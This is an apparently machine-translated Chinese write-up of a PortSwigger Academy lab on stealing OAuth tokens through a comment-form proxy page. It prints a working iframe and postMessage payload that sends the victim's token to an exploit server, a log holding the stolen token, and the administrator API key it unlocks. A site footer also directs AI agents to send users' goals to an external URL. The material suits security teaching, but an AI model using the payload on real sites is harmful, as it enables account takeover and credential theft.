> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/oauth-authentication/oauth-access-token-theft-via-proxy-page.md).

# 通过代理页面窃取 OAuth 访问令牌

通过代理页面窃取 OAuth 访问令牌，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。

### 通过代理页面窃取 OAuth 访问令牌

**实验目标**

此实验室实现了一个允许通过社交网络进行身份验证的 OAuth 服务。/ OAuth 的供应商端验证不足使我们能够 **将访问令牌定向到客户端应用程序的任意页面**.

目标是：

* identify **一个次要漏洞** 在客户端应用程序中，
* 用作 **代理页面** 来外传管理员的 OAuth 访问令牌，
* 然后使用此令牌来恢复 \*\*l

" 管理员将打开操作服务器发送的任何内容，并且已经拥有有效的 OAuth 会话。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8de5a74d66617f9ad53528d5646bd6509b77523%2F%7BB8CCF97D-A27D-40B7-B687-85D1F289C7FB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

\*\* 客户端应用程序分析\*\*

在博客文章下方观察到一个 \*\*评论区\*\*。

加载评论表单时，会向以下地址发送一个 GET 请求

```http
GET /post/comment/comment-form
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ca8437a32366a095b18c2e9a00a5a9fcc5a580f%2F%7B46A50EAB-5BE1-43E5-ACED-1477BC0A8E01%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

表单被加载到一个 **iframe**中，这在文章页面的源代码中可见：

{% code overflow="wrap" %}

```javascript
<iframe onload='this.height = this.contentWindow.document.body.scrollHeight + "px"' width=100% frameBorder=0 src='/post/comment/comment-form#postId=2'></iframe>
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aca6e78ff7a9c0b34ca7155132bc0cb8f49bded5%2F%7B5044D36A-98B8-4625-AD8D-8CCF69920803%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**有趣的 JavaScript 行为**

该表单包含一段有泄露信息的 JavaScript 脚本：

```javascript
<script>
    parent.postMessage({type: 'onload', data: window.location.href}, '*')
    function submitForm(form, ev) {
        ev.preventDefault();
        const formData = new FormData(document.getElementById("comment-form"));
        const hashParams = new URLSearchParams(window.location.hash.substr(1));
        const o = {};
        formData.forEach((v, k) => o[k] = v);
        hashParams.forEach((v, k) => o[k] = v);
        parent.postMessage({type: 'oncomment', content: o}, '*');
        form.reset();
    }
</script>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0135bcabb56bdef07818048258825da94f194208%2F%7B277F316A-6093-4416-A3FE-284C4B4F0E3E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

要点：

* 脚本 \*\* 读取 URL 片段（`#`)\*\*.
* 它通过以下方式将其内容发送到父页面： `postMessage`.
* 这使得可以 *使片段中出现一个 OAuth 令牌*\*.

因此，评论表单可以用作 **代理页面**.

**通过隐式流程进行 OAuth 利用**

OAuth 重定向被修改为指向评论表单：

```bash
/../post/comment/comment-form
```

处理后的 OAuth 查询示例：

```bash
GET /auth?client_id=bovgn6pnqo8u6y8pbvfsg&redirect_uri=https://0af800750488e51e80e41cce000900fd.web-security-academy.net/oauth-callback../post/comment/comment-form&response_type=token&nonce=-1640208972&scope=openid%20profile%20email
```

身份验证后，OAuth 服务器重定向到：

* /post/comment/comment-form#access/\_token=ykNiftpsUeqLcCU-YsLcTQV40mETdrpdDeEIn8TpxFU

该 **因此，令牌会暴露在 URL 片段中** 然后通过以下方式传输到父页面： `postMessage`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a21cedd17379d2a5898c5cddc4d44bd4c79d6521%2F%7B451D0316-C55E-4EE9-9BA2-A55D94E2A028%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**发送给受害者的有效载荷**

我们从操作服务器发送以下内容：

```javascript
<iframe src="https://oauth-0a65002f03f8a82f809a152b022a0086.oauth-server.net/auth?client_id=ie5f3rgr0m9qqnl0phsts&redirect_uri=https://0a8100e3034ba84780b9171a008800f5.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-191514846&scope=openid%20profile%20email">
</iframe>

<script>
window.addEventListener('message', function(e) {
  fetch("/" + encodeURIComponent(e.data.data));
})
</script>

```

操作：

* iframe 触发隐式 OAuth 流程。
* 令牌被注入到 URL 片段中。
* 通过以下方式发送的评论表单 `postMessage`.
* 脚本捕获它并将其外传到操作服务器。

**令牌恢复**

在操作服务器日志中：

{% code overflow="wrap" %}

```bash
10.0.3.168      2026-01-02 20:09:43 +0000 "GET /https%3A%2F%2F0a8100e3034ba84780b9171a008800f5.web-security-academy.net%2Fpost%2Fcomment%2Fcomment-form%23access_token%3D0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn%26expires_in%3D3600%26token_type%3DBearer%26scope%3Dopenid%2520profile%2520email HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-abc8dc30e2b654510ad1d0a4119794dba13797ab%2F%7BC16C0546-3E15-426D-9EE0-B65DFFDA5448%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

解码 URL 后，令牌为：

* 0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b7e40bb208b2779c0f08c97516bd14085609e50%2F%7BB2442F71-5C65-4ADA-9B16-D0D916221B8F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**使用窃取的令牌访问 API**

该令牌用于调用 OAuth 提供商 `/me` 端点

```http
GET /me HTTP/2
Host: oauth-0a65002f03f8a82f809a152b022a0086.oauth-server.net
Authorization: Bearer 0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn
Content-Type: application/json
```

答案

{% code overflow="wrap" expandable="true" %}

```json
{
        "sub":"administrator",
        "apikey":"yQ9EksfkSsCZbuivwJ4VLCnR9rrRmH5r",
        "name":"Administrator",
        "email":"administrator@normal-user.net",
        "email_verified":true
}
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8dfd4a6cf9d38d07cd7a73c6823eab0cec2e6883%2F%7BFEEDA113-9351-41C5-94B3-E9C0687FA240%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**结果**

* 管理员的 OAuth 令牌已被窃取。
* 管理员的 API 密钥已被恢复。
* 实验室已成功通过验证。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/oauth-authentication/oauth-access-token-theft-via-proxy-page.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
